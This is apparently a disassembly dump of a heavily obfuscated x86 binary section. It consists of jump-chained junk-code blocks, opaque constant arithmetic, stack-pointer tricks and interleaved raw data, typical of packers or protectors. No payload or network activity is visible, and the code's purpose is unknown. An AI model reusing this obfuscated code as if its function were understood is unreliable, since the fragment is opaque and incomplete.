		dd 4, 8702C383h, 685C241Ch, 297Dh, 0BB241C89h, 38h, 50BFEB81h
		dd 0FB016272h, 50BFC381h, 0BA526272h, 0
		dd 0E953DA01h, 7DE2h, 8324148Bh, 0C18104C4h, 2,	8B240C87h
		dd 4002424h, 0FAE99C24h, 59FFFFD7h, 0E9241C33h,	719Dh
		dd 0E9A68h, 24148900h, 0BAh, 87EA2900h,	0E37AE9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E1EA:				; CODE XREF: sdfs____:0058F26Bj
		xor	ch, al
		pop	ax
		add	al, ch
		pop	ecx
		add	al, 1
		sub	al, bl
		sub	al, 1
		sub	al, 0C4h
		pop	ebx
		push	edx
		mov	dh, 9Bh
		xor	dh, 38h
		shr	dh, 5
		push	small 57B7h
		mov	[esp], ax
		mov	al, 8Eh
		sub	dh, 4Eh
		add	dh, 78h
		sub	dh, al
		sub	dh, 78h
		add	dh, 4Eh
		jmp	loc_59610A
; ---------------------------------------------------------------------------


loc_58E220:				; CODE XREF: sdfs____:00590864j
		mov	ebx, 6C594D1Dh
		jmp	loc_58F9BB
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 68572404h, 1B45h, 83242489h,	0FF042404h, 0C2E92434h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58E243:				; CODE XREF: sdfs____:00597DFEj
		mov	eax, 1B370654h
		jmp	loc_594530
; ---------------------------------------------------------------------------


loc_58E24D:				; CODE XREF: sdfs____:0058CB73j
		xchg	eax, edi
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_58F217
; ---------------------------------------------------------------------------


loc_58E25C:				; CODE XREF: sdfs____:0058E925j
		pop	edi
		push	ebx
		jmp	loc_58FAF2
; ---------------------------------------------------------------------------


loc_58E263:				; CODE XREF: sdfs____:0059831Ej
		add	ebp, 0C5B3D51h
		push	edx
		mov	edx, 0EEE9D2AFh
		add	ebp, edx
		pop	edx
		push	ebp
		pop	ecx
		jmp	loc_594808
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 0E9000000h, 386h, 240C8B66h,	699BE9h
		db 0
; ---------------------------------------------------------------------------


loc_58E28D:				; CODE XREF: sdfs____:0058F100j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58E2CB
; ---------------------------------------------------------------------------


loc_58E2A4:				; CODE XREF: sdfs____:0058FB70j
		xchg	eax, [esp]
		jmp	loc_591AB3
; ---------------------------------------------------------------------------


loc_58E2AC:				; CODE XREF: sdfs____:00598A22j
		mov	ebp, 1FEC2E87h
		and	ebp, 5E1E28E9h
		shr	ebp, 8
		jmp	loc_591E08
; ---------------------------------------------------------------------------
		db 45h
		dd 4EC81h, 2DE90000h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E2CB:				; CODE XREF: sdfs____:0058E29Fj
		mov	[esp], cx
		mov	ch, 0E3h
		push	dx
		mov	dh, 0Dh
		push	ecx
		mov	ch, 0A1h
		inc	ch
		and	ch, 0C9h
		neg	ch
		xor	ch, 0BCh
		xor	ch, 0Eh
		add	al, ch
		pop	ecx
		add	al, dh
		sub	al, 32h
		pop	dx
		sub	al, 0A5h
		sub	al, ch
		add	al, 0A5h
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_5946E4
; ---------------------------------------------------------------------------
		db 1
		dd 0BB535FFAh, 4E603423h, 605AE9h
		db 0
; ---------------------------------------------------------------------------


loc_58E311:				; CODE XREF: sdfs____:005952A3j
		shl	ebx, 2
		jmp	loc_597A7D
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0C5815D54h, 4, 9EE95152h, 0FF00005Dh, 34FF2434h, 2434FF24h
		dd 0FFF8CFE9h, 48B66FFh, 38036824h, 35E90000h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58E347:				; CODE XREF: sdfs____:005918B6j
		and	eax, 0C6F22DFh
		jmp	loc_5983AD
; ---------------------------------------------------------------------------


loc_58E351:				; CODE XREF: sdfs____:0058CCBDj
		pop	ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_591FD9
; ---------------------------------------------------------------------------


loc_58E35A:				; CODE XREF: sdfs____:0058F6A8j
		or	esi, 5B632F5Bh
		jmp	loc_5940E2
; ---------------------------------------------------------------------------
		db 5Eh,	8Fh, 4
		dd 0C4835C24h, 68C80F04h, 2CB1h, 0E9240489h, 0FFFFD649h
; ---------------------------------------------------------------------------


loc_58E37C:				; CODE XREF: sdfs____:00591024j
		push	4
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_596E4A
; ---------------------------------------------------------------------------
		dw 0E9ADh
		dd 0FFFFE861h, 0E931CD31h, 81E9874Dh, 471FF8E9h, 489CE957h
		dd 0C8B0000h, 7402E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E3AA:				; CODE XREF: sdfs____:00597830j
		push	dword ptr [edi+eax*4]
		jmp	loc_58C3DE
; ---------------------------------------------------------------------------
		dw 0EE29h
		dd 0E9F3015Dh, 84Bh
; ---------------------------------------------------------------------------


loc_58E3BC:				; CODE XREF: sdfs____:0058CF98j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		sub	[esp], eax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 29h
		dd 93E95DE8h, 0F7FFFFE6h, 4CBA52D8h, 0F7048876h, 26CBE9D2h
		dd 0F7810000h, 0DE1C581Fh, 2DECE9h, 5EF50100h, 8704C583h
		dd 248B242Ch, 24048F24h, 0E924248Bh, 0FFFFD5BDh, 0FD685158h
		dd 0E900003Bh, 2F3Fh, 0E932FF64h, 0FFFFD5A9h
; ---------------------------------------------------------------------------


loc_58E41C:				; CODE XREF: sdfs____:0058C3D9j
		sub	bh, 57h
		jb	loc_594D19
		jmp	loc_594254
; ---------------------------------------------------------------------------


loc_58E42A:				; CODE XREF: sdfs____:0059644Aj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	3BCCh
		mov	[esp], eax
		jmp	loc_58BD13
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 3262DFDDh, 0FFFF86E9h, 0D577E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E44E:				; CODE XREF: sdfs____:00597818j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_591435
; ---------------------------------------------------------------------------
		dd 515F5457h, 7C2D23B9h, 0CDE1816Ah, 0F77FDC2Ah, 0FBE981D9h
		dd 195A3D7h, 0BE5659CFh, 4, 875EF701h, 15C243Ch, 0AFE957D8h
		dd 0F7000086h, 0B5C681D6h, 0E9D422F9h, 0A45Fh
; ---------------------------------------------------------------------------


loc_58E498:				; CODE XREF: sdfs____:loc_58CD7Ej
		jmp	loc_59349D
; ---------------------------------------------------------------------------


loc_58E49D:				; CODE XREF: sdfs____:0058BB76j
		push	ebx
		jmp	loc_5963A9
; ---------------------------------------------------------------------------


loc_58E4A3:				; CODE XREF: sdfs____:0058DDFCj
		mov	eax, [esp]
		jmp	loc_596869
; ---------------------------------------------------------------------------


loc_58E4AB:				; CODE XREF: sdfs____:00597853j
		add	al, 0AFh
		add	al, dh
		sub	al, 0AFh
		mov	edx, [esp]
		jmp	loc_58DC3F
; ---------------------------------------------------------------------------


loc_58E4B9:				; CODE XREF: sdfs____:00594743j
		sub	edx, edi
		pop	edi
		add	ebx, 1621FAFh
		sub	ebx, edx
		sub	ebx, 1621FAFh
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [ebx]
		xor	dword ptr [esp], 3E597BDFh
		pop	ecx
		jmp	loc_58BDAA
; ---------------------------------------------------------------------------


loc_58E4E2:				; CODE XREF: sdfs____:0059623Cj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		push	eax
		mov	eax, 1
		mov	ebp, eax
		pop	eax
		push	ebp
		push	esi
		jmp	loc_591DD8
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 68A1h
; ---------------------------------------------------------------------------


loc_58E510:				; CODE XREF: sdfs____:00593085j
		or	eax, eax
		jz	loc_596F8A
		push	dword ptr [edi+1Ch]
		jmp	loc_5948B3
; ---------------------------------------------------------------------------
aPS0i		db 'P°Îé0¨',0
		align 4


loc_58E528:				; CODE XREF: sdfs____:00597C97j
		add	dword ptr [ebx], 1
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_596678
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68242C89h, 165Bh, 81242489h,	42404h,	2C8B0000h, 4C48124h
		dd 56000000h, 468h, 24348B00h, 4C481h, 0C5810000h, 26EA6597h
		dd 0ED81F501h, 26EA6597h, 672FE9h
		db 0
; ---------------------------------------------------------------------------


loc_58E579:				; CODE XREF: sdfs____:0059548Ej
		pop	ebx
		jmp	loc_595CCA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4885E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E58A:				; CODE XREF: sdfs____:00594264j
		inc	ch
		push	eax
		jmp	loc_592159
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 9811h, 5E5EF701h, 2C781h, 0EC810000h, 4, 0FF243C89h
		dd 5F042474h, 5C24048Fh, 4BB0F66h, 6E99C24h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E5BF:				; CODE XREF: sdfs____:00590EFAj
		mov	ecx, esp
		push	esi
		mov	esi, 6ADC7F80h
		and	esi, 63445454h
		jmp	loc_58CB0E
; ---------------------------------------------------------------------------
		dw 8759h
		dd 0D25C241Ch, 0E99C243Ch, 1B7Ah, 4273C781h, 0B0E924EFh
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58E5EB:				; CODE XREF: sdfs____:0059570Bj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59255C
; ---------------------------------------------------------------------------


loc_58E5FC:				; CODE XREF: sdfs____:0059209Aj
		push	edx
		push	edi
		push	ebx
		jmp	loc_58D728
; ---------------------------------------------------------------------------
aSX_0		db '\é¾x',0
		align 2
		dw 0C801h
		dd 4C08359h, 2474FF50h,	17E95804h, 8100002Ah, 8E1074C1h
		dd 0D8E9812Fh, 5822CC0Eh, 5C240C87h, 0E9E08950h, 3A89h
		dd 7462BF57h, 0FE010AD4h, 0E9535F5Fh, 9BCDh
; ---------------------------------------------------------------------------


loc_58E644:				; CODE XREF: sdfs____:0058FA17j
		push	esi
		mov	esi, ebx
		push	esi
		pop	edx
		jmp	loc_59171D
; ---------------------------------------------------------------------------
aZs7		db 'ZéÝ7',0
		align 4
aItsgg		db '䉎gG',0
		db 0
; ---------------------------------------------------------------------------


loc_58E65B:				; CODE XREF: sdfs____:00597AB7j
		pop	esp
		and	eax, ebp
		jmp	loc_58F486
; ---------------------------------------------------------------------------
		db 0F7h
		dd 29840FDDh, 45FFFFD8h, 0E348C0Fh, 0C5810000h,	427711B7h
		dd 9D1AE9h, 0E95D5000h,	0FFFFD5B8h, 4247401h, 0E951585Eh
		dd 286Fh
; ---------------------------------------------------------------------------


loc_58E690:				; CODE XREF: sdfs____:loc_59036Fj
		xor	eax, 9C578ACBh
		jmp	loc_5982AD
; ---------------------------------------------------------------------------
		dw 558h
		dd 0E85ECE7h, 0B9E9C701h, 28000055h, 34EF80E7h,	8124048Bh
		dd 4C4h, 0E12C00h, 8BE104F8h, 0C481241Ch, 4, 0D9B75350h
		dd 9E93E9h
		db 0
; ---------------------------------------------------------------------------


loc_58E6CD:				; CODE XREF: sdfs____:00591154j
		mov	edx, 62E2593Bh
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edi, edx
		jmp	loc_597932
; ---------------------------------------------------------------------------
		dd 4BB0F66h, 0D6E99C24h, 83FFFFD2h, 0BB5304C4h,	2BB44B72h
		dd 814BDBF7h, 8333DDC3h, 3CF38163h, 0E909DB25h,	0FFFFEA8Eh
; ---------------------------------------------------------------------------


loc_58E70C:				; CODE XREF: sdfs____:00591132j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_596299
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 2BF57h, 0FE010000h, 2434875Fh, 5C30E95Ch
		dd 0BF570000h, 0C8DF4975h, 895FF829h, 24048BC5h, 0E904C483h
		dd 17Fh, 5E1768h, 242C8900h, 4BDh, 23BF5700h, 292C432Fh
		dd 243C8BF8h, 81E28952h, 4C2h, 4C28100h, 87000000h, 15C2414h
		dd 2F2305E8h, 685D2C43h, 65A9h,	0BA241489h, 2, 0BFE9D001h
		dd 81FFFFFEh, 5E3BB8F7h, 0FD860F0Ch, 81000055h,	0CA5944E7h
		dd 6915E97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E7A6:				; CODE XREF: sdfs____:005906D9j
		shr	edi, 3
		js	loc_58BADF
		dec	edi
		jge	loc_58E8B0
		not	edi
		inc	edi
		jo	loc_5987F3
		push	esp
		lodsb
		xor	al, bl
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 4Bh
		add	al, 9Ah
		jmp	loc_590CBC
; ---------------------------------------------------------------------------


loc_58E7D3:				; CODE XREF: sdfs____:00595F37j
		sub	eax, 517346D1h
		jmp	loc_5910FC
; ---------------------------------------------------------------------------
		db 0B6h, 3Fh, 4
		dd 2CF000DEh, 0C3005ADEh, 0B1EB8058h, 0E8E9C300h, 0AD0000A4h
		dd 0D5161405h, 43772D48h, 0BB530AE6h, 600B0C39h, 0D6F7F387h
		dd 0C381F387h, 5F026DB6h, 536EB81h, 0C38145BEh,	8936BBBDh
		dd 64C172Dh, 0D5D1E974h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E826:				; CODE XREF: sdfs____:00595065j
		add	ebp, eax
		add	ebp, 542580Eh
		jmp	loc_58FDA2
; ---------------------------------------------------------------------------


loc_58E833:				; CODE XREF: sdfs____:00597910j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5973DC
; ---------------------------------------------------------------------------
		db 0ADh
		dd 3732BD55h, 89055ADDh, 11D103Eh, 3E892DE8h, 575D1D10h
		dd 257855BFh, 8EFC10Ah,	6BFCF81h, 67E964E5h, 900009Ch
		dd 0DC75E9FDh, 0CF01FFFFh, 0A4BE5659h, 462C2850h, 57748F0Fh
		dd 0CE810000h, 280B0083h, 0C189A704h
; ---------------------------------------------------------------------------


loc_58E890:				; CODE XREF: sdfs____:0058BFA1j
		mov	esi, 134A7C81h
		or	esi, 16214C3Fh
		sub	esi, 4A1C4C4Fh
		add	esi, 0A2F6F7EAh
		sub	ebp, esi
		pop	esi
		push	ecx
		jmp	loc_5961BE
; ---------------------------------------------------------------------------


loc_58E8B0:				; CODE XREF: sdfs____:0058E7B0j
		not	edi
		inc	edi
		jo	loc_59792D
		jmp	loc_58CD3E
; ---------------------------------------------------------------------------
		dw 0FF5Dh
a4SP		db '4$é-p',0
		dw 100h
		dd 0C0835DE8h, 24043302h, 33240431h, 248B2404h,	48B6624h
		dd 0E2895224h, 7A3AB850h, 0E9520947h, 10A0h
; ---------------------------------------------------------------------------


loc_58E8EC:				; CODE XREF: sdfs____:0059563Ej
		push	833h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		jmp	loc_594ED9
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 3FFCE952h, 0E9530000h, 8E6Eh
; ---------------------------------------------------------------------------


loc_58E91C:				; CODE XREF: sdfs____:0058DBD3j
		push	dword ptr [esp]
		jmp	loc_596C8C
; ---------------------------------------------------------------------------


loc_58E924:				; CODE XREF: sdfs____:005912C7j
		pop	esp
		jmp	loc_58E25C
; ---------------------------------------------------------------------------


loc_58E92A:				; CODE XREF: sdfs____:0058BE7Bj
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 8Ch
		mov	ah, dl
		pop	edx
		jmp	loc_5904A2
; ---------------------------------------------------------------------------
a_iSF		db '_‰ÓéÙF',0
		dd 40E98100h, 0E9230061h, 224Eh
; ---------------------------------------------------------------------------


loc_58E950:				; CODE XREF: sdfs____:005959B6j
		shl	ch, 8
		add	ch, 0E8h
		mov	dl, ch
		pop	ecx
		add	dl, 0A4h
		not	dl
		not	dl
		sub	dl, 21h
		sub	bl, dl
		pop	edx
		sub	bl, 0A9h
		sub	bl, al
		jmp	loc_591884
; ---------------------------------------------------------------------------
		dd 4240481h, 0E9000000h, 3363h,	54240489h, 510CE9h, 4A9E6800h
		dd 14890000h, 81E28924h, 4C2h, 0D916800h, 4890000h, 4B824h
		dd 0CEE90000h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E9A7:				; CODE XREF: sdfs____:0058D8F4j
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	5F6Eh
		mov	[esp], edi
		mov	edi, 400h
		push	edi
		push	edx
		mov	edx, 57E92DE4h
		add	[esp+4], edx
		jmp	loc_590598
; ---------------------------------------------------------------------------
		dw 53ADh
		dd 9864DFBBh, 14E38151h, 8138B737h, 0F1BD91EBh,	5BDE29D9h
		dd 8068C601h, 89000033h, 0E2892414h, 1E11BD55h,	0C58108ACh
		dd 2A4E0B93h, 64E9CD87h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58EA0B:				; CODE XREF: sdfs____:0058C82Cj
		pop	edi
		jmp	loc_593DD6
; ---------------------------------------------------------------------------


loc_58EA11:				; CODE XREF: sdfs____:005942BCj
		mov	[esp], esi
		jmp	loc_59880E
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 1C8904ECh, 0D1B4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EA2A:				; CODE XREF: sdfs____:00596CF7j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	edx, 4
		push	ecx
		jmp	loc_58BDED
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 73C8E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58EA52:				; CODE XREF: sdfs____:005900D2j
		push	dx
		mov	dl, 8Eh
		add	cl, dl
		jmp	loc_593017
; ---------------------------------------------------------------------------
aB@vSkl		db 'Çê@‚\骋',0
		align 4


loc_58EA68:				; CODE XREF: sdfs____:00597F0Bj
		mov	[esp], ecx
		mov	ecx, 0CDAD8FCh
		jmp	loc_58E151
; ---------------------------------------------------------------------------
		db 0ADh, 2Dh, 88h
		dd 55037209h, 0FFDC39E9h, 240483FFh, 0BD555F04h, 5BF09AAh
		dd 0F705EDC1h, 0F829E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EA96:				; CODE XREF: sdfs____:005945DFj
		and	eax, esi
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_596A59
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFCF01h
; ---------------------------------------------------------------------------


loc_58EAC4:				; CODE XREF: sdfs____:00591526j
		push	eax
		jmp	loc_58C71E
; ---------------------------------------------------------------------------


loc_58EACA:				; CODE XREF: sdfs____:00598DC0j
		mov	ecx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_58FBE3
; ---------------------------------------------------------------------------
		db 0BFh, 8Ah, 72h
		dd 0F7313894h, 0ACC3815Eh, 158AB6Dh, 1FEDE9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58EAF6:				; CODE XREF: sdfs____:0059732Dj
		add	ecx, esi
		add	ecx, 36993309h
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_59741B
; ---------------------------------------------------------------------------


loc_58EB07:				; CODE XREF: sdfs____:00593903j
		mov	ecx, 0C9DDB70Ch
		add	ecx, ebp
		pop	ebp
		sub	ebx, 1E072608h
		push	edi
		mov	edi, 285F5F52h
		shl	edi, 7
		jmp	loc_59059E
; ---------------------------------------------------------------------------


loc_58EB23:				; CODE XREF: sdfs____:0059133Fj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_598DB6
; ---------------------------------------------------------------------------
		dd 68h,	243C2900h, 0E9243C8Bh, 3446h
; ---------------------------------------------------------------------------


loc_58EB48:				; CODE XREF: sdfs____:00596900j
		push	ebp
		jmp	loc_594767
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0CE6FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EB56:				; CODE XREF: sdfs____:0058CE39j
		add	esp, 4
		jmp	loc_5959ED
; ---------------------------------------------------------------------------
		db 0Fh,	8Dh, 3Dh
		dd 81000000h, 4ECA24C6h, 88F38BADh, 0C5315FD9h,	1A85E9h
		db 0
; ---------------------------------------------------------------------------


loc_58EB79:				; CODE XREF: sdfs____:00596223j
		push	49B7h
		mov	[esp], eax
		jmp	loc_58D1DE
; ---------------------------------------------------------------------------
aUAKfbxmAfs	db 'U½a"ŠfåŒ= fé|š',0
		dw 8900h
		dd 4C681E6h, 0E9000000h, 4B70h,	0CA24C681h, 0CEE9AD4Eh
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58EBAF:				; CODE XREF: sdfs____:00593ABCj
		add	edx, 4
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6830704Fh
		push	eax
		push	2FD7424Dh
		jmp	loc_590475
; ---------------------------------------------------------------------------
a3S		db '3<$éß]',0
		dw 8B00h
		dd 0EA68240Ch, 89000077h, 0E589242Ch, 4C581h, 0BF570000h
		dd 4, 875FFD01h, 248B242Ch, 2B95124h, 1000000h,	12E959C8h
		dd 5E00006Fh, 164CBE56h, 65E90C6Fh
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EC13:				; CODE XREF: sdfs____:00591B56j
		sub	esp, 4
		jmp	loc_597726
; ---------------------------------------------------------------------------


loc_58EC1B:				; CODE XREF: sdfs____:00595113j
		and	ebp, 4A1E2A72h
		dec	ebp
		shl	ebp, 5
		xor	ebp, 28553C5Bh
		add	ebp, 0E042FB0Bh
		add	eax, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_598A18
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 35A4700Ch, 0A3F3F781h, 0FA31D453h, 0FFFCE4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58EC59:				; CODE XREF: sdfs____:0058D13Bj
		add	ebx, 70551150h
		push	7CD1h
		mov	[esp], eax
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58EC6C:				; CODE XREF: sdfs____:005918C1j
					; sdfs____:00594FA2j
		push	ebp
		jmp	loc_592ACF
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 63DB3395h, 0B18E181h, 0C1813AFAh, 7D32047Fh,	0E1D1D9F7h
		dd 0F0DEE981h, 0CA01BFE7h, 7FE95659h, 6600004Eh, 66F76851h
		dd 1C890000h, 25DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58ECA6:				; CODE XREF: sdfs____:0058D2A8j
		pop	ecx
		push	ecx
		jmp	loc_5910EA
; ---------------------------------------------------------------------------
aPh		db 'Ph',0Dh,'}',0
		dw 8900h
		dd 0C8BD242Ch, 812F315Fh, 0DA0303F5h, 0E9850F2Dh, 0E9000036h
		dd 4086h, 51240C8Bh, 75B0D288h,	1EA8E9h, 4BA5200h, 1000000h
		dd 0BA525AD7h, 4, 8D5CE9h, 0DBF65900h, 1C8BDE88h, 4C48124h
		dd 80000000h, 0E6C086CEh, 9BF68006h, 8003EEC0h,	0F02845F6h
		dd 0E92B045Ah, 83A5h, 0E9C2C380h, 0FFFFEF97h, 69E9CB81h
		dd 850F1A30h, 0FFFFD5F4h, 6E7E9h, 4C48300h, 0CD8B0124h
; ---------------------------------------------------------------------------


loc_58ED34:				; CODE XREF: sdfs____:0058FBB0j
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_598A0A
; ---------------------------------------------------------------------------


loc_58ED45:				; CODE XREF: sdfs____:00595F68j
		push	edi
		mov	edi, 5A191133h
		sub	edi, 6A2F1903h
		not	edi
		xor	edi, 0D94FC86Fh
		xor	ebx, edi
		pop	edi
		mov	[edx+38h], ebx
		pop	ebx
		jmp	loc_59214E
; ---------------------------------------------------------------------------


loc_58ED65:				; CODE XREF: sdfs____:00598930j
		sub	edi, 16B3AD8Fh
		add	ebx, 65010FB7h
		add	ebx, edi
		sub	ebx, 65010FB7h
		mov	edi, [esp]
		jmp	loc_593A67
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 74h
		dd 12F8E10h, 0F88DE9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58ED8E:				; CODE XREF: sdfs____:0058EF89j
		pop	esp
		mov	[esp], ax
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58ED98:				; CODE XREF: sdfs____:00591145j
		add	ecx, 564A3BC2h
		shr	ecx, 4
		shl	ecx, 3
		jp	loc_58D79E
		sub	ecx, 4C094209h
		jnp	loc_593B51
		xor	ecx, 0DB34B7B1h
		mov	edi, ecx
		pop	ecx
		sub	edi, 652F2962h
		add	ecx, edi
		pop	edi
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	0B74h
		jmp	loc_591D65
; ---------------------------------------------------------------------------
		dw 0EC88h
		dd 5958E688h, 8A5AF588h, 8804245Ch, 5904246Ch, 0C0CE9h
		dd 0B5515C00h, 51B404B6h, 0E93EB050h, 11Ah
; ---------------------------------------------------------------------------


loc_58EE08:				; CODE XREF: sdfs____:00592058j
		sub	ebx, edx
		add	ebx, 614D33B2h
		mov	edx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 2012BA9Eh
		sub	eax, ecx
		pop	ecx
		push	edi
		push	41CD7A05h
		mov	edi, [esp]
		jmp	loc_591122
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58C1C7
; ---------------------------------------------------------------------------


loc_58EE50:				; CODE XREF: sdfs____:005932FEj
		push	ecx
		push	small 6576h
		mov	[esp], dx
		jmp	loc_58DD5F
; ---------------------------------------------------------------------------
		dw 0F101h
		dd 8124348Bh, 4C4h, 4BF5700h, 1000000h,	6EE95FF9h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58EE77:				; CODE XREF: sdfs____:0058E136j
		shl	eax, 7
		add	eax, 0A6D0FF4h
		jno	loc_59025A
		jmp	loc_594269
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 8153D9F7h, 42404h, 348B0000h, 0FB7BE924h, 0CB68FFFFh
		dd 89000010h, 0BE56240Ch, 569E16FFh, 6A6BEE81h,	0E6E94C77h
		dd 8100005Bh, 7F6292CDh, 0C3C5811Ch, 512AEB40h,	955448B9h
		dd 59CD0178h, 431DC781h, 0EF011861h, 431DEF81h,	575D1861h
		dd 42474FFh, 24048F5Fh,	0E924248Bh, 0FFFFF7F8h
; ---------------------------------------------------------------------------


loc_58EEEC:				; CODE XREF: sdfs____:00598BAEj
		pop	eax
		add	ecx, 0E228B5D2h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58C1F4
; ---------------------------------------------------------------------------
		db 0B3h
		dd 28B5B5FDh, 0E5045BDDh, 0B753E828h, 2D71E9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58EF16:				; CODE XREF: sdfs____:00595381j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_597901
; ---------------------------------------------------------------------------
		dd offset loc_58C188
		dw 0FFC8h
		dd 81592434h, 4C4h, 2CE80000h, 0E3D8E93Eh, 8B66FFFFh, 0EC812404h
		dd 4, 598AE9h
		db 0
; ---------------------------------------------------------------------------


loc_58EF49:				; CODE XREF: sdfs____:00592202j
		pop	esp
		div	ecx
		jmp	loc_58F3CC
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 6624248Bh, 8124048Bh, 4ECh, 240C8900h, 0CC0E9h, 0E04AC00h
		dd 93043E04h, 7D87E9h, 87686600h, 1489665Dh, 0C1B45024h
		dd 33C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_58EF85:				; CODE XREF: sdfs____:00596548j
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_58ED8E
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0C5830000h, 242C8704h, 6E2C05Ch, 0FFEAA8E9h
		dd 0C08359FFh, 65AA6802h, 1DE90000h, 51000003h,	35606852h
		dd 815A127Ch, 0ABC182EAh, 5AD189B8h, 58C2E9h, 5DEE0100h
		dd 78668h, 24048900h, 268h, 0C6815800h,	6EE74627h, 0EE81C601h
		dd 6EE74627h, 24343358h, 33243431h, 665C2434h, 2404B30Fh
		dd 0C9C7E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


